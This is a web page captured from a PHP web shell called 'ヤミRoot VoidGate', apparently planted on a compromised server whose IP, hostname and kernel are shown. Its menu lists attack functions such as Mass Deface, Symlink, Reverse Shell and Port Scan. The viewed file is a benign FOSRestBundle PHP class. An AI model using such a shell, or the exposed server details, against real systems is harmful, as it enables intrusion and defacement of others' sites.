ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
friendsofsymfony
/
rest-bundle
/
Controller
/
Annotations
/
Viewing: AbstractParam.php
<?php /* * This file is part of the FOSRestBundle package. * * (c) FriendsOfSymfony <http://friendsofsymfony.github.com/> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace FOS\RestBundle\Controller\Annotations; use Symfony\Component\Validator\Constraints; /** * {@inheritdoc} * * @author Jordi Boggiano <j.boggiano@seld.be> * @author Boris Guéry <guery.b@gmail.com> * @author Ener-Getick <egetick@gmail.com> */ abstract class AbstractParam implements ParamInterface { /** @var string */ public $name; /** @var string */ public $key; /** @var mixed */ public $default; /** @var string */ public $description; /** @var bool */ public $strict = false; /** @var bool */ public $nullable = false; /** @var array */ public $incompatibles = array(); /** {@inheritdoc} */ public function getName() { return $this->name; } /** {@inheritdoc} */ public function getDefault() { return $this->default; } /** {@inheritdoc} */ public function getDescription() { return $this->description; } /** {@inheritdoc} */ public function getIncompatibilities() { return $this->incompatibles; } /** {@inheritdoc} */ public function getConstraints() { $constraints = array(); if (!$this->nullable) { $constraints[] = new Constraints\NotNull(); } return $constraints; } /** {@inheritdoc} */ public function isStrict() { return $this->strict; } /** * @return string */ protected function getKey() { return $this->key ?: $this->name; } }
Coded With 💗 by
0x6ick